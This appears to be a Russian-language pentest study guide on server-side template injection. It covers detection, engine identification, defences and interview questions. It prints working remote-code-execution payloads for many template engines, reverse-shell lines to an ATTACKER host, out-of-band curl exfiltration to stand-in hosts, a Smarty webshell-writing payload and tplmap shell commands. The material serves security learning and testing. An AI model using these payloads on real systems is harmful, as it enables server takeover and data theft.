На странице
apsyleg1 мин
#ssti #template-injection #rce #sandbox-escape #web-security

Server-Side Template Injection (SSTI)

1. Что такое SSTI

SSTI — уязвимость, при которой пользовательский ввод попадает в шаблон и интерпретируется шаблонизатором как код, а не как данные.

Атакующий → ввод: {{7*7}} → Шаблонизатор → интерпретирует как выражение
                                              ↓
                                            49 в ответе
                                              ↓
                                   sandbox escape → RCE

Ключевое: шаблонизатор вычисляет выражения, вызывает методы, обходит объекты — атакующий использует эту мощность для выполнения кода на сервере.

Безопасно vs Уязвимо

# БЕЗОПАСНО — ввод передаётся как данные
template = "Привет, {{ username }}!"
render(template, username=user_input)
# user_input = "{{7*7}}" → отобразится буквально "{{7*7}}"

# УЯЗВИМО — ввод вставляется в сам шаблон
template = "Привет, " + user_input + "!"
render(template)
# user_input = "{{7*7}}" → шаблонизатор вычислит → "Привет, 49!"

Разница: данные в шаблон (безопасно) vs ввод КАК шаблон (SSTI).


2. SSTI vs XSS — принципиальная разница

XSSSSTI
Где исполняетсяВ браузере (клиент)На сервере
ЯзыкJavaScriptPython, PHP, Java, Ruby...
ДоступDOM, cookies, localStorageФайлы, ОС, БД, сеть
Максимальный импактУгон сессии, фишингRCE — полный контроль сервера
SeverityMedium-HighHigh-Critical

Внешне могут выглядеть похоже (ввод отражается на странице), но SSTI на порядок опаснее.


3. Шаблонизаторы: кто есть кто

Основные движки по языкам

ЯзыкДвижокСинтаксисОпасность
PythonJinja2{{ }} / {% %}Высокая — MRO цепочки
PythonMako${ } / <% %>Очень высокая — прямой Python
PHPTwig{{ }} / {% %}Высокая — фильтры, _self
PHPSmarty{ }Высокая — {php} тег (старые версии)
JavaFreemarker${ } / <# >Очень высокая — Execute, ObjectConstructor
JavaVelocity$var / #set()Высокая — рефлексия
JavaThymeleaf${ } в атрибутахВысокая — SpEL-инъекции
JavaPebble{{ }} / {% %}Высокая — рефлексия
RubyERB<%= %>Очень высокая — прямой Ruby
JS/NodePug (Jade)отступыВысокая
JS/NodeHandlebars{{ }}Низкая — ограниченная логика
JS/NodeEJS<%= %>Высокая — прямой JS
.NETRazor@( ) / @{ }Средняя

Logic-less vs Logic-full

  • Logic-less (Mustache, Handlebars) — минимум логики, SSTI маловероятна
  • Logic-full (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — циклы, вызовы методов, доступ к объектам → поверхность атаки

4. Обнаружение SSTI

Шаг 1: Найти точки отражения

Где пользовательский ввод может попасть в шаблон:

Очевидные:

  • Отображение имени пользователя, email, профиля
  • Поисковая строка с отражением: "Результаты для: X"
  • Комментарии, отзывы, сообщения
  • Кастомизация шаблонов (CMS, email-рассылки, конструкторы)

Менее очевидные:

  • Страницы ошибок: "Страница X не найдена" (404)
  • Сообщения об ошибках: "Неверный параметр: X"
  • PDF/email генерация — данные рендерятся через шаблон
  • Превью сообщений
  • Параметры в URL: ?name=, ?message=, ?greeting=, ?template=
  • Заголовки HTTP (редко): Host, Referer подставляются в шаблон

Шаг 2: Отличить SSTI от простого отражения

Подставь математическое выражение в синтаксисе шаблонизатора:

Ввод: {{7*7}}
Если в ответе "49" → шаблонизатор вычислил → SSTI
Если в ответе "{{7*7}}" → просто отражение → не SSTI

Но {{7*7}} — не единственный синтаксис! Пробуй разные:

{{7*7}}          — Jinja2, Twig, Handlebars
${7*7}           — Freemarker, Mako, Thymeleaf
#{7*7}           — Thymeleaf (Spring), Ruby
<%= 7*7 %>       — ERB, EJS
{7*7}            — Smarty
#set($x=7*7)$x  — Velocity

Polyglot payload

Универсальный детектор, покрывающий большинство движков:

${{<%[%'"}}%\

Почему работает:

  • ${{ — триггерит Freemarker/Mako (${...}) и Jinja2/Twig ({{...}})
  • <% — ERB/EJS/JSP
  • [% — Perl Template Toolkit
  • '" — вызывает ошибку парсера при незакрытых строках
  • }}%\ — закрывающие конструкции разных движков

Цель: вызвать ошибку парсера, подтверждая наличие template engine. Если сервер вернул 500 с stack trace — шаблонизатор есть.

SSTI через Host header

Некоторые приложения подставляют заголовок Host в шаблон для генерации ссылок (например, password reset emails):

Host: {{7*7}}.evil.com

Если в email'е появится 49.evil.com — SSTI через Host header. Встречается в Django, Flask, Ruby on Rails при некорректной конфигурации.

Шаг 3: Дерево решений PortSwigger (определение движка)

Это ключевая методология — последовательная подстановка payload'ов:

                        ${7*7}
                       /       \
                   49            a]${7*7}
                  /                    \
              ${7*7} работает       #{7*7}
             (Java/Python)              \
                 |                    49 → Thymeleaf / Ruby
            {{7*7}}                  не 49 → неизвестный
           /       \
        49          ошибка/ничего
       /                \
  {{7*'7'}}          не этот синтаксис
  /         \          → пробуй другие
7777777      49
  |           |
Jinja2      Twig


Полное дерево:

1. Подставь  {{7*7}}
   → 49? ─────── Да ──→ 2. Подставь {{7*'7'}}
   │                         → "7777777"? ── Да ──→ Jinja2 (Python)
   │                         → "49"? ─────── Да ──→ Twig (PHP)
   │
   └── Нет ──→ 3. Подставь ${7*7}
                    → 49? ─── Да ──→ 4. Подставь ${class.getClass()}
                    │                     → ответ? ── Да ──→ Java (Freemarker/Velocity)
                    │                     → ошибка? ─ Да ──→ Mako (Python)
                    │
                    └── Нет ──→ 5. Подставь <%= 7*7 %>
                                    → 49? ── Да ──→ ERB (Ruby) / EJS (Node)
                                    │
                                    └── Нет ──→ 6. Подставь {7*7}
                                                    → 49? ── Да ──→ Smarty (PHP)
                                                    └── Нет ──→ другой движок

Ключевой payload: {{7*'7'}}

Зачем: различает Jinja2 и Twig (оба используют {{ }}):

PayloadJinja2 (Python)Twig (PHP)
{{7*'7'}}7777777 (Python: "7" * 7 = повтор строки)49 (PHP: строка приводится к числу)

5. Sandbox Escape — ключевая концепция

Что такое sandbox

Шаблонизатор намеренно ограничивает доступный функционал:

  • Нет import
  • Нет eval, exec, system
  • Нет доступа к файловой системе
  • Только переменные, переданные в шаблон

Sandbox escape — это поиск пути обойти эти ограничения, оставаясь внутри шаблона.

Почему нельзя просто {{ import os; os.system("id") }}

Шаблонизатор не выполняет произвольный код языка. Он выполняет только выражения в своём синтаксисе. import — это statement Python, не выражение Jinja2. Шаблонизатор его не понимает.

Но шаблонизатор умеет обращаться к атрибутам объектов — и этого достаточно для побега.


6. Эксплуатация по движкам

6.1 Jinja2 (Python) — MRO-цепочки

MRO (Method Resolution Order) — цепочка наследования классов в Python. Каждый объект → его класс → базовый object → все подклассы → опасные классы.

Цепочка по шагам:

# 1. Берём любой доступный объект (строка, число, список)
""

# 2. Получаем его класс
"".__class__                        → <class 'str'>

# 3. Поднимаемся к базовому классу object через MRO
"".__class__.__mro__                → (<class 'str'>, <class 'object'>)
"".__class__.__mro__[1]             → <class 'object'>

# 4. Получаем ВСЕ подклассы object (сотни!)
"".__class__.__mro__[1].__subclasses__()
# → [..., <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]

# 5. Находим нужный класс по индексу и вызываем
"".__class__.__mro__[1].__subclasses__()[ИНДЕКС]("id", shell=True)

Визуально:

"" (строка)
 └── __class__ → str
      └── __mro__ → [str, object]
           └── object
                └── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]
                     └── Popen("id", shell=True) → RCE!

Готовые payload'ы для Jinja2:

Чтение файлов:

{{ "".__class__.__mro__[1].__subclasses__()[ИНДЕКС]("/etc/passwd").read() }}

RCE через subprocess.Popen:

{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True, stdout=-1).communicate() }}

RCE через config/request (если доступны объекты Flask):

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}

RCE через cycler (Jinja2 >= 2.11, не нужен Flask):

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Как найти нужный индекс подкласса:

Индекс subprocess.Popen (или другого опасного класса) отличается на разных системах. Поиск:

# Вывести все подклассы и найти нужный вручную:
{{ "".__class__.__mro__[1].__subclasses__() }}

# Или использовать цикл:
{% for cls in "".__class__.__mro__[1].__subclasses__() %}
  {% if cls.__name__ == 'Popen' %}
    {{ loop.index0 }}
  {% endif %}
{% endfor %}

Обход WAF / фильтров в Jinja2

Если фильтруются _, ., [, ], class и т.д.:

# Через attr() фильтр (обход точки и подчёркиваний)
{{ ""| attr("__class__") | attr("__mro__") }}

# Через request.args (обход фильтрации строк)
{{ "".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}
# URL: ?i=INDEX&cmd=id

# Hex-кодирование строк
{{ ""["\x5f\x5fclass\x5f\x5f"] }}   ← \x5f = _

# Через dict и join
{{ dict(__cla=1,ss__=1)|join }}      → "__class__"

# Через format string
{{ "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) }}

6.2 Twig (PHP)

Twig 1.x (старый — прямой путь к RCE):

{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

Twig 2.x / 3.x:

{{ ['id'] | filter('system') }}
{{ ['cat /etc/passwd'] | filter('exec') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}

Чтение файлов:

{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }}

Через map:

{{ ['id'] | map('system') | join }}
{{ ['id'] | sort('system') | join }}

6.3 Freemarker (Java)

Один из самых опасных — есть встроенные средства выполнения кода:

Execute (прямой RCE):

<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}

ObjectConstructor:

<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}

Чтение файлов:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}

6.4 Velocity (Java)

#set($runtime = $class.inspect("java.lang.Runtime"))
#set($getRuntime = $runtime.getMethod("getRuntime", null))
#set($rt = $getRuntime.invoke(null, null))
#set($exec = $rt.exec("id"))
$exec.waitFor()

Или короче:

#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($result = $ex.inputStream)

6.5 Smarty (PHP)

Старые версии (< 3):

{php}system('id');{/php}

Новые версии:

{system('id')}
{Smarty_Internal_Write_File::writeFile('/var/www/html/shell.php','<?php system($_GET["cmd"]); ?>',self::clearConfig())}

6.6 ERB (Ruby)

ERB даёт прямой доступ к Ruby — sandbox'а практически нет:

<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
<%= File.read("/etc/passwd") %>

6.7 Mako (Python)

Аналогично — прямой Python:

${__import__("os").popen("id").read()}
<% import os; os.system("id") %>

6.8 Thymeleaf (Java / Spring)

Инъекция через Spring Expression Language (SpEL):

${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Thymeleaf может быть уязвим даже без ${ } — через имена view:

GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

6.9 Pebble (Java / Spring)

Набирающий популярность Java-движок. Синтаксис похож на Twig ({{ }} / {% %}).

Обнаружение:

{{ "test".toUpperCase() }}    → TEST

RCE:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}
{{ bytes.inputStream.text }}

Через рефлексию:

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

7. Blind SSTI

Если результат выражения не виден в ответе:

Тайминг

# Jinja2 — тяжёлое вычисление
{{ range(100000000)|list }}

# Или sleep через RCE
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("sleep 5", shell=True) }}

Если ответ задерживается → SSTI подтверждена.

OOB (Out-of-Band)

# Jinja2 — DNS/HTTP callback
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl http://COLLABORATOR", shell=True) }}
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("nslookup COLLABORATOR", shell=True) }}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://COLLABORATOR/$(id)")}

# Twig
{{ ['curl http://COLLABORATOR'] | filter('system') }}

Используй Burp Collaborator или interactsh для приёма callback'ов.


8. SSTI → RCE: цепочка

В отличие от XXE (чтение файлов) или SSRF (запросы), SSTI даёт прямой путь к RCE:

Обнаружение        → {{7*7}} = 49
Идентификация      → {{7*'7'}} = 7777777 → Jinja2
Sandbox escape     → MRO-цепочка к subprocess.Popen
RCE                → id, cat /etc/passwd, reverse shell

Всё в одном HTTP-запросе. Не нужен ни webshell, ни внешний сервер, ни запись файлов.

Reverse shell через SSTI

# Jinja2
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'", shell=True) }}

# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")}

# ERB
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>

9. Связки с другими уязвимостями

SSTI редко существует в изоляции. Понимание связок позволяет эскалировать импакт или обнаружить SSTI через смежные уязвимости.

ЦепочкаКак работаетИмпакт
SSTI → SSRFRCE через SSTI = можно делать любые запросы из кодаПолный доступ к внутренней сети, cloud metadata
SSRF → SSTISSRF на внутренний сервис, который рендерит шаблоныRCE через template injection
SSTI → LFIЧтение файлов через template (config, env) до достижения RCEУтечка секретов
XSS → SSTIXSS на клиенте + серверный рендер шаблонов при SSRЭскалация клиентской уязвимости
SSTI + WAF bypassОбфускация через attr(), hex, dict+joinОбход защиты

Подробнее о SSRF → SSRF (Server-Side Request Forgery).


10. Методология тестирования

Шаг 1: Обнаружение точек ввода

  • Найти все места, где ввод отражается в ответе
  • Обратить внимание на: страницы ошибок, профили, поиск, email-шаблоны, PDF-генерацию
  • Проверить параметры: name=, message=, template=, email=, greeting=
  • Проверить заголовки: Host, Referer (редко, но бывает)

Шаг 2: Определение SSTI

Подставь payload'ы в каждую точку отражения:

# Универсальный набор для обнаружения:
{{7*7}}
${7*7}
<%= 7*7 %>
{7*7}
#{7*7}
${{7*7}}

Если видишь 49 — SSTI подтверждена.

Если ничего — попробуй:

{{7*7}}         → отражается как {{7*7}}? → не шаблонизатор
                → ошибка 500? → шаблонизатор есть, но синтаксис неверный
                → пусто / отфильтровано? → может быть WAF

Шаг 3: Идентификация движка (дерево решений)

1. {{7*7}} = 49?
   ├── Да → {{7*'7'}}
   │         ├── 7777777 → Jinja2
   │         └── 49 → Twig
   └── Нет → ${7*7} = 49?
              ├── Да → Java (Freemarker/Velocity) или Mako
              └── Нет → <%= 7*7 %> = 49?
                         ├── Да → ERB или EJS
                         └── Нет → {7*7} = 49?
                                    ├── Да → Smarty
                                    └── Нет → другой / нет SSTI

Дополнительные проверки для уточнения:

# Java: Freemarker vs Velocity
${"freemarker.template.utility.Execute"?new()("id")}   → работает? → Freemarker
#set($x=7*7)$x                                         → работает? → Velocity

# Python: Jinja2 vs Mako
${7*7}  → работает + нет {% %} → Mako
{{7*7}} → работает → Jinja2

Шаг 4: Эксплуатация

Определил движок → используй payload'ы из раздела 6.

Порядок эскалации:

1. Подтверждение: {{7*7}} → 49
2. Чтение конфига: config, settings, env
3. Чтение файлов: /etc/passwd, .env, config.php
4. RCE: id, whoami
5. Reverse shell / дальнейшая эксплуатация

Шаг 5: Если не работает

  • Попробуй другой синтаксис — может быть не тот движок
  • Проверь фильтрацию: _, ., [, {{ — и используй обходы (раздел 6.1)
  • Попробуй blind SSTI: payload выполняется, но результат не отображается
    • Тайминг: {{ range(10000000) }} — страница грузится дольше?
    • OOB: {{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl attacker.com/$(id)", shell=True) }}
  • Попробуй через заголовки: тот же payload в User-Agent, Referer

11. Защита от SSTI

Правильный подход — разделение данных и шаблона

# БЕЗОПАСНО — ввод как данные
render_template("hello.html", name=user_input)
# Шаблон: "Привет, {{ name }}!"
# user_input = "{{7*7}}" → отобразится буквально

# УЯЗВИМО — ввод в самом шаблоне
template = Template("Привет, " + user_input + "!")
template.render()

Общие принципы

  1. Никогда не конкатенировать ввод с шаблоном — всегда передавать через контекст/переменные
  2. Sandbox — использовать песочницу шаблонизатора (Jinja2 SandboxedEnvironment)
  3. Whitelist символов — если пользователь пишет шаблоны, ограничить допустимые конструкции
  4. Минимальный контекст — не передавать в шаблон объекты с опасными методами
  5. WAF — фильтрация {{, ${, <% — но это ненадёжно (обходы существуют)

Jinja2 Sandbox

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
template.render()
# Блокирует доступ к __class__, __mro__, __subclasses__ и т.д.

Sandbox не абсолютная защита — исследователи периодически находят обходы. Лучший подход: не давать пользователю контроль над шаблоном вообще.


12. Оценка Severity

SeverityУсловия
CriticalRCE через sandbox escape, reverse shell, доступ к ОС
HighЧтение произвольных файлов с секретами, доступ к конфигам, переменным окружения
MediumОграниченное чтение данных, blind SSTI без полного RCE, утечка внутренней информации
LowТолько вычисление выражений без эскалации, отсутствие доступа к ОС

SSTI почти всегда Critical — потому что sandbox escape существует для большинства движков, и путь от обнаружения до RCE обычно короткий.


13. Инструменты

ИнструментНазначение
tplmapАвтоматическое обнаружение и эксплуатация SSTI (поддерживает Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB и др.)
SSTImapФорк tplmap с расширенной поддержкой движков
Burp SuiteПерехват запросов, подстановка payload'ов, Intruder для фаззинга
Burp Collaborator / interactshПодтверждение blind SSTI
PayloadsAllTheThingsРепозиторий с payload'ами для всех движков
HackTricksСправочник по sandbox escape для каждого движка

tplmap — автоматизация

# Обнаружение и идентификация
python tplmap.py -u "http://target.com/page?name=test"

# С указанием POST-параметра
python tplmap.py -u "http://target.com/page" -d "name=test"

# Получение shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell

# Чтение файла
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "cat /etc/passwd"

14. Известные кейсы

Uber (2016, Bug Bounty): SSTI в Jinja2 через параметр профиля → RCE. Баунти $10,000+.

Shopify (2019, Bug Bounty): SSTI в Liquid-шаблонах → чтение внутренних данных через объекты шаблонизатора.

Adobe (2020, Bug Bounty): SSTI в Freemarker → полный RCE на сервере через Execute.

PortSwigger Research: Многочисленные исследования sandbox escape в Jinja2, Twig, Freemarker — каждая новая версия закрывает дыры, но исследователи находят новые обходы.

Spring Framework (CVE-2022-22963): SpEL-инъекция (аналог SSTI в Thymeleaf) → RCE. Массовая эксплуатация.


15. Q&A — Вопросы для подготовки

Что такое SSTI?

Уязвимость, при которой пользовательский ввод попадает не в данные шаблона, а в сам шаблон — и шаблонизатор интерпретирует его как код. Ввод {{7*7}} превращается в 49 не потому что приложение это вычислило, а потому что template engine обработал выражение. Ключевое отличие от безопасного использования: render(template, data=input) — безопасно, render("Hello " + input) — SSTI.

Из-за чего SSTI обычно возникает?

Конкатенация пользовательского ввода с шаблоном перед рендером, а не передача через параметры/контекст. Типичные сценарии: кастомизация email-шаблонов через админку, динамическая сборка страниц из частей в базе данных, "быстрый фикс" для вставки текста без добавления нового параметра. Разработчик не различает "данные для шаблона" и "часть шаблона".

Как выглядит безопасный паттерн в отличие от уязвимого?

Безопасно: render_template("page.html", name=user_input) — движок подставляет значение переменной, спецсимволы шаблона не интерпретируются. Уязвимо: render_template_string("Привет, " + user_input) — движок не может отличить статичный шаблон от пользовательского ввода, всё обрабатывается как единая конструкция. Даже если ввод экранируется от HTML-инъекций — template-синтаксис ({{, ${, <%) всё равно выполняется.

Какие два контекста SSTI важно различать?

Plaintext context: ввод находится вне шаблонных конструкций — Hello, INPUTHello, {{7*7}}Hello, 49. Здесь payload работает напрямую. Code context: ввод уже внутри шаблонного выражения — Hello, {{INPUT}} → нужно сначала "закрыть" текущую конструкцию: username}}<tag>. Если HTML-тег появился в ответе — ввод вышел из выражения и интерпретируется как шаблон.

Почему SSTI часто путают с XSS?

Внешне похожи — ввод отражается на странице. Но XSS выполняется в браузере (клиент), а SSTI — на сервере. XSS даёт доступ к DOM, cookies, localStorage. SSTI даёт доступ к файловой системе, ОС, сети — это путь к RCE. При первичном обнаружении отражения важно проверять не только <script>alert(1)</script>, но и {{7*7}}, ${7*7}, <%= 7*7 %>.

Почему для SSTI критично определить конкретный template engine?

Каждый движок имеет свой синтаксис, доступные объекты, ограничения и пути к RCE. Payload для Jinja2 (__class__.__mro__) не работает в Twig или Freemarker. Дерево решений PortSwigger ({{7*'7'}} = 7777777 → Jinja2, = 49 → Twig) позволяет за 2-3 запроса определить движок и выбрать правильные payload'ы. Без идентификации — слепой перебор, который может занять часы.

Какой импакт у SSTI, если RCE не достигается?

Чтение переменных окружения шаблона (config, settings, env — часто содержат секреты, API-ключи, строки подключения к БД). Чтение файлов (в Twig: source('/etc/passwd'), в Jinja2 через __subclasses__). Утечка внутренней информации: версия фреймворка, пути на сервере, имена классов — полезно для дальнейшей атаки. SSTI без RCE — обычно High severity из-за утечки конфиденциальных данных.

Почему sandbox у template engine — не абсолютная защита?

Sandbox ограничивает доступные операции — но исследователи регулярно находят обходы. В Jinja2 SandboxedEnvironment блокирует __class__ и __mro__, но атрибуты можно получить через attr() фильтр, hex-кодирование, dict+join. Twig SecurityPolicy ограничивает фильтры и функции — но новые обходы появляются с каждой версией. Sandbox усложняет эксплуатацию, но не устраняет корневую причину — ввод всё ещё интерпретируется как шаблон.

Какой зрелый ответ по защите от SSTI?

Главное — никогда не конкатенировать ввод с шаблоном, всегда передавать через контекст/переменные. Если пользователь должен писать шаблоны (CMS, email) — использовать logic-less движки (Mustache, Handlebars без хелперов), которые не позволяют выполнять код. Sandbox — дополнительный слой, но не основная защита. Контейнеризация и минимальные привилегии ограничивают blast radius при RCE. Зрелый подход — комбинация: разделение данных и шаблона + logic-less движок или sandbox + контейнерная изоляция.


16. Шпаргалка для быстрого повторения

SSTI = пользовательский ввод интерпретируется шаблонизатором как код

Суть уязвимости:
  render("Привет, " + INPUT)   ← уязвимо (ввод КАК шаблон)
  render(template, name=INPUT) ← безопасно (ввод как данные)

Обнаружение:
  {{7*7}}, ${7*7}, <%= 7*7 %>, {7*7}, #{7*7}
  → видишь 49 → SSTI
  Polyglot: ${{<%[%'"}}%\  → 500 с trace → движок есть

Идентификация (дерево):
  {{7*'7'}} = 7777777 → Jinja2
  {{7*'7'}} = 49      → Twig
  ${7*7}              → Freemarker/Mako
  <%= 7*7 %>          → ERB/EJS
  "test".toUpperCase() → Pebble

Sandbox escape (Jinja2):
  "" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE
  Быстро: {{ cycler.__init__.__globals__.os.popen('id').read() }}

Ключевые payload'ы:
  Jinja2:     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
  Twig:       {{ ['id'] | filter('system') }}
  Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
  ERB:        <%= system("id") %>
  Mako:       ${__import__("os").popen("id").read()}
  Pebble:     {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

Blind SSTI:
  Тайминг → тяжёлое вычисление / sleep
  OOB → curl/nslookup на Collaborator

Связки:
  SSTI → SSRF (запросы из кода)
  SSRF → SSTI (внутренний сервис с шаблонами)
  SSTI → LFI (чтение файлов до RCE)

Инструменты: tplmap, SSTImap, Burp Suite
Severity: почти всегда Critical (SSTI ≈ RCE)

Защита: ввод через переменные, не через конкатенацию с шаблоном